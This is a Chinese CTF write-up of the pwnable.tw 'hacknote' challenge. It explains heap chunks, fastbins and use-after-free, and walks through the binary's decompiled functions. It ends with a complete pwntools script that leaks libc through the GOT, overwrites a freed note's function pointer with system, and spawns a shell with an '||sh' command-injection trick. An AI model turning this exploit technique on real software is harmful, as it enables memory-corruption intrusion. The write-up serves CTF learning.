2019-04-02 | UNLOCK

2019-4-2-hacknote题解

pwnabletw-hacknote

借着这道比较基础的uaf(use after free)的题目回顾一下堆溢出
先简单说说一下堆
堆基础


可以通过gdb的vmmap查看内存空间
avatar
其中[heap]就是堆空间,堆跟栈不同,堆是沿着地址高位增长的

堆分配的基本策略就是malloc(size)时系统分配堆大小的必定是比size大或等于的8\16的倍数(32位系统为8的倍数,在64位系统则是16的倍数),并且会有一个8字节的堆头(header),里面记录的堆的信息。(之后会在堆专门的学习笔记里详细展开)
(目前在我的学习中,只有malloc及其相似的一类函数会分配堆。)
所以在32位系统中,最低能分配的就是16字节的堆块(malloc(0)会返回NULL值,或者实际地址,具体取决于系统)

uaf基础

当free堆块时,若是没有将堆块指针置NULL的话,那么就可以通过这个指针重新访问堆块,这时候堆块的内容可能为空,也可能是某个地址,最终导致漏洞出现。利用漏洞的方式就在于操作系统的堆管理方式,当一个堆块free后,并不是还给操作系统,而是放入表(bin)中,linux的堆管理存在着127个bin,不同bin的区别主要在于每个bin链表中存放的堆块(chunk)大小不同,像这道hacknote我们就只需要存放16-80字节的fastbin,当我们再次申请堆块空间时,系统就首先会从这些bin中找到最合适大小的堆块空间给我们。这种机制配合uaf再配合对堆内容的写入就能实现任意地址跳转了。

hacknote函数解析

avatar
这次专注于基础的堆溢出,有用的信息就是该程序是16位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  v2 = __readgsdword(0x14u);//开启CANARY后会在每个函数多出这个,从汇编上可以看出是在栈低,也就是ebp上方填入一个数字,跟本题无关
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
sub_8048956();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
sub_80487D4();//delete函数
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
sub_80488A5();//print函数
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
sub_8048646();//add函数
}
}

main函数挺简单的,重点就三个函数,delete、print、add,其中uaf漏洞就存在于delete中,接下来我们看delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);//重点在这,free后没有把指针置null,导致堆块虽然清空了,但是指针还保存着堆栈的地址,从而能访问空的堆栈,另外值得注意的是先free掉ptr[v1]+1指向的地址(字符串context),然后再free ptr[v1]
puts("Success");
}
return __readgsdword(0x14u) ^ v3;

知道漏洞是uaf后就要开始考虑怎么利用了,先看看add函数是怎么申请空间的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);//首先申请一个8字节的空间,实际上会分配16字节
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;//这里是让刚才申请的堆块头部放入指向sub_804862B的指针,这样访问该堆块的时候就会执行这个函数,这个函数的作用就是put,并且参数是堆块本身,之后会用于地址泄露
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);//第二次申请堆空间,第一次申请的空间ptr[i]就是v0[0],第二次申请的空间的指针就会存放到v0[1]中,这样put函数就能输出第二次申请的空间内储存的值了
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;

这么分析可能还不够直白,上手操作一下
avatar
这是我们要申请的堆块

avatar
可以看到在堆块的起始位置0x0804b000偏移0xc的位置有个0x151的偏移,那就是存储着内容的堆的起始地点(为什么和实际index:0的堆块差了15个字节以后再讲),可以看到0x804b160就存储着我们刚申请的堆块,其中0x0804862b就是指向put函数的地址,0x0804b170就是字符串“aaaaaaaaaaaaaaa”的位置,之后会作为put函数的参数。

让我们来看一下print函数

1
2
3
4
5
6
7
8
9
10
11
12
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);//ptr[v1]就是堆块地址,堆块头存储着put函数的地址,put函数的参数就是ptr[v1],也就是它本身。
return __readgsdword(0x14u) ^ v3;

再看看puts函数

1
return puts(*(const char **)(a1 + 4));

可以看到put会输出a1+4,也就是ptr[v1]+4,那个位置存储着字符串的地址

hacknote题解

分析完函数,弄懂整个程序后开始构造脚本了,首先我们要想办法泄露地址,因此要在第一次申请的堆栈内写入我们需要的地址,比如read(),然后用得到的read()函数实际地址减去libc中read的偏移量,得到程序加载libc的基址,再用这个基址加上system的偏移量,得到system函数在程序实际执行时的地址,最后再写入一次system的地址和字符串“sh”,执行后得到shell

想要往第一次申请的堆块中写入内容,就要利用到fastbin的特性,free后的堆块会放到fastbin链表的表尾,在之后申请同样大小的堆块时会先分配表尾的空间。所以我们先add两次,输入的context size等于16(这里只要大于8就行,也就是不要让两个context和ptr[0]free后在一个链表就行),然后都free掉(delete index0和index1),这时index0[0]在fastbin的16字节链表的表头,index1[0]在表尾,至于两个context则在fastbin的32字节链表。
当我们再add一个context size为8的index2时,index2[0]的16字节空间会利用fastbin16字节链表表尾的index1[0],而context申请的16字节空间就在index0[0]的位置,这时候我们输入的context就会把index0的头部修改了。

avatar
可以看到我们add两次后的堆空间内容,这里我申请的context size为16,所以它给我对齐成了32字节(这里有点困惑,按理来说32位系统应该分配给我24字节的空间,delete后之后我尝试申请24字节的空间,给我的也是原本那片空间,可见的确是分配了32字节)

avatar
当我分别delete index0和index1然后申请了size=8的index2后
堆空间变了,原本index0[0]的空间内容变成了我输入的字符串“cccccccc”
然后就可以写我们的脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

p=process("./hacknote")
#libc=ELF('./libc_32.so.6',checksec=False)
libc=ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
//ldd hacknote得到在本机使用的库
elf=ELF('./hacknote',checksec=False)

read_libc=libc.symbols['read']
read_got=elf.got['read']
read_symbol=elf.symbols["read"]
system_libc=libc.symbols['system']


p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :","16")
p.sendlineafter("Content :","a"*15)
p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :","16")
p.sendlineafter("Content :","a"*15)
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :","0")
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :","1")
p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :","8")
p.sendlineafter("Content :",p32(0x0804862b)+p32(read_got))
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :","0")
a=p.recv()
read_addr=u32(a[:4])
print("a--------------")
print(a)
print("base_addr---------------")
print(hex(read_addr))

base_addr=read_addr-read_libc
system_addr=system_libc+base_addr
p.sendline("2")
p.sendlineafter("Index :","2")
p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :","8")
p.sendlineafter("Content :",p32(system_addr)+"||sh")

p.interactive()

这里比较特别的就是system的参数要用到截断字符,因为之前print函数里是((void (__cdecl *)(void *))ptr[v1])(ptr[v1]);这样调用堆块头指向的函数的,所以我们的system的参数实际上是p32(system_addr)+”sh”,也就是system(p32(system_addr)+”sh”),这样显然不能实现system(”sh”),所以就要用到截断字符”||”或者”;”了,
system(“hsasoijiojo||sh”)就等于system(“sh”)
另外system(“sh”)=system(“/bin/sh”),两者效果是一样的。

参考链接:https://www.jianshu.com/p/12c7d96e0bd3
https://www.anquanke.com/post/id/150359#h2-24

评论加载中